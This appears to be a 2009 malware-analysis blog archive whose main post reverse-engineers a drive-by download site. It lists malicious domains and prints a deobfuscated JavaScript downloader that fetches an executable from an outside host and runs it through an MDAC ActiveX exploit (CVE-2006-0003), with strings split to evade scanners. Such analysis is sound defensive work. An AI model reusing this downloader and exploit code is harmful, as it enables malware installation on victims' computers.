reverse engineering | Evilcodecave's Weblog

DNAScan Malicious Network Activity Reverse Engineering

November 28, 2009

http://evilcodecave.blogspot.com/2009/11/dnascan-malicious-network-activity.html

Leave a Comment » | (In)Security, Debugging & Disassembling, Reverse Code Engineering | Tagged: DNAScan, Malicious Network Activity, Malware Analysis, nmap, reverse engineering | Permalink
Posted by evilcodecave

[Crimeware] Researches Reversing about Eleonore Exploit Pack

November 3, 2009

http://evilcodecave.blogspot.com/2009/11/crimeware-researches-about-eleonore.html

Leave a Comment » | Uncategorized | Tagged: Backdoor.Win32.Bredavi.aig, crymeware, Eleonore Exploit Pack, GDGCavPJwlrd.pdf, Malware, Malware Analysis, papaanarhia.cn, reverse engineering, Trojan.Win32.Sasfis.qri | Permalink
Posted by evilcodecave

Swimming into Trojan and Rootkit GameThief.Win32.Magania Hostile Code

October 2, 2009

Redirection:

http://evilcodecave.blogspot.com/2009/10/swimming-into-trojan-and-rootkit.html

Regards,

Giuseppe ‘Evilcry’ Bonfa’

Leave a Comment » | Reverse Code Engineering | Tagged: hostile code, Malware Analysis, malware reverse engineering, megania, reverse engineering, rootkit, Trojan, Trojan-GameThief.Win32.Magania | Permalink
Posted by evilcodecave

Trojan.Js.Downloader.BDS Website with exploit and Malware

September 22, 2009

Warning, browse the reported links only with Malzilla.
Browsing passive DNS replication services that collects public DNS data is a great system malware investigation, or better for Suspicious IPs research.

Attention today is centred on 78.47.186.165 IP that looks suspect, let’s query DNS Replication Service.

http://www.bfk.de/bfk_dnslogger_en.html?query=78.47.186.165#result

as you can see we obtain the following list:

* wergnd.info A 78.47.186.165
* eyetje.info A 78.47.186.165
* dsfgng.info A 78.47.186.165
* sgfnsg.info A 78.47.186.165
* ltuyjm.info A 78.47.186.165
* dfgdet.info A 78.47.186.165
* etyjyt.info A 78.47.186.165
* eryjey.info A 78.47.186.165

other hosted:

etyjyt.info
kb923561.in
kb929399.in
kb936782.in
kb952004.in
kb959426.in
kb960225.in
kb960715.in
kb960803.in
kb960859.info
kb968389.info
ntwin.in

Our attention will be on egtrhn.info precisely on

http://egtrhn.info//index.php?src=583&surl=www.springerrescue.org&sport=80&suri=%2Findex%2Ehtml

we have a first redirection to:
http://egtrhn.info/index2.php?src=583&trk=09181706298102074

where is located and obfuscated JS script:

function get_pic(z0) deobfuscates the Block of Data that I partiallu reported here, algorithm used is pretty
easy and can be pasted directly into Malzilla Decoder.. here the decoded block of data:

<div id=”demoobj”></div>
<script language=”javascript”>
var space=””;
function lsrn(pt31) {
var ldob=null; var tds1=17;
var st2=”2″;
var stms=”Microsoft”;
var stmss=”MS”;
var stxml=”XML”;
var stdt=”.”;
var stht=”HTTP”;
var stsrv=”Server”;
var url=”http://egtrhn.info/gfl.php?d=14&trk=09220521365129336&s=m06″;
var tds2=17;
var stgt=”GET”;
var std=”D”;
var stbd=”Body”;
var strsp=”response”;
var ev1=”ldob”+stdt+”open(stgt,url,false);”;
var stsv=”Save”;
try { ldob=objmker(pt31, stms+stdt+stxml+stht); eval(ev1); }
catch(e) {
try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stxml+stht); eval(ev1); }
catch(e) {
try { ldob=objmker(pt31, stmss+stxml+st2+stdt+stsrv+stxml+stht); eval(ev1); }
catch(e) { try { ldob=new XMLHttpRequest(); eval(ev1); }
catch(e){ return 0;
};
};
};
};
try { ldob.send(null); }
catch(e) {
try { ldob.send(null); }
catch(e) { return 0;
};
};

as you can see from the Bolded variable this piece of code deals with an URL
http://egtrhn.info/gfl.php?d=14&trk=09220521365129336&s=m06
this link contains a malicious executable.

eval(“ld”+stbd+”=ldob.”+strsp+stbd);
var obj_strm=objmker(pt31, “A”+std+”O”+std+”B.Stream”);
if (obj_strm) {
obj_strm.Type=1; obj_strm.Mode=3; obj_strm.Open(); obj_strm.Write(ldBody);
var hdrv=””; var dtemp=””; var dstart=””; var daustart=””;
try {var obj_WScript=objmker(pt31, “WScript.Shell”);
try{var wshProcEnv=obj_WScript.Environment(“PROCESS”); hdrv=wshProcEnv(“HOMEDRIVE”); dtemp=wshProcEnv(“TEMP”)
;}catch(e){ };
}
catch(e){};
if (hdrv==””) { hdrv=”C:”; };
if (dtemp==””) {
try {
var obj_fso=objmker(pt31, “Scripting.FileSystemObject”);
dtemp=obj_fso.GetSpecialFolder(2);
}catch(e){ };
};

here is builded the downloader for the malicious executable.

attach a random string to executable name.

var tst2=space;
var tobjst=tst2;
var falret=0;
try{
var zpa1=”var obj_shl=obj”+tst2+”mker(pt31,\”Sh”+tst2+”ell.”+tst2+”Application\”);”; eval(zpa1);
var zpa2=”obj_shl”+tst2+”.Sh”+tst2+”ellEx”+tst2+”ecute(fn2);”;eval(zpa2);
}catch(e){
try{
zpa3=”obj_W”+tst2+”Script.”+tst2+”Exec(fn2);”;eval(zpa3);
}catch(e){

looking carefully to these three vars you can see some well known string represented in a splitted way to deceive basilar webcheckers, here the rebuilded strings

* Shell.Application\
* obj_shl.ShellExecute(fn2)
* obj_W Script.Exec(fn2)

try{
zpa4=”var demoobj2=document.”+tst2+”getElem”+tst2+”ent”+tst2+”ById(\”demoobj\”);”;eval(zpa4);
var zpa5=”demoobj2″+tobjst+”.inner”+tst2+”HTML”+tobjst+”=demoobj2″+tobjst+”.inner”+
tst2+”HTML”+tobjst+”+\”<obj”+tst2+”ect”+tobjst+” clas”+tst2+”sid”+tobjst+”=’cls”+tst2+”id:”+tobjst+”5271″+tst2+”96a4-b1a3-4647-931d-37ba5″+tst2+”af23037″+tobjst+”‘ code”+tst2+”base=”+tobjst+”‘\”+fn2+\”‘></”+tobjst+”object”+tst2+”>\”;”;
eval(zpa5);
}catch(e){

zpa5 is the most interesting, between the various strings is builded a CLSID.

clsid:527196a4-b1a3-4647-931d-37ba5af23037 this belongs to MDAC ActiveX
code execution (CVE-2006-0003)

An attacker who successfully exploited this vulnerability could gain the same user rights
as the local user. Users whose accounts are configured to have fewer user rights on the
system could be less impacted than users who operate with administrative user rights.

return falret;
};
};
};
return 1;
}else{
return 0;
};
}else{return 0;};
};

Let’s isolate some harcoded value and research about it

BD96C556-65A3-11D0-983A-00C04FC29E36

this belongs to InternetExplorer MDAC vulnerability

other CLSID used are

* {BD96C556-65A3-11D0-983A-00C04FC29E30}
* {BD96C556-65A3-11D0-983A-00C04FC29E36}
* {AB9BCEDD-EC7E-47E1-9322-D4A210617116}
* {0006F033-0000-0000-C000-000000000046}
* {0006F03A-0000-0000-C000-000000000046}
* {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}
* {6414512B-B978-451D-A0D8-FCFDF33E833C}
* {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}
* {06723E09-F4C2-43c8-8358-09FCD1DB0766}
* {639F725F-1B2D-4831-A9FD-874847682010}
* {BA018599-1DB3-44f9-83B4-461454C84BF8}
* {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}
* {E8CCCDDF-CA28-496b-B050-6C07C962476B}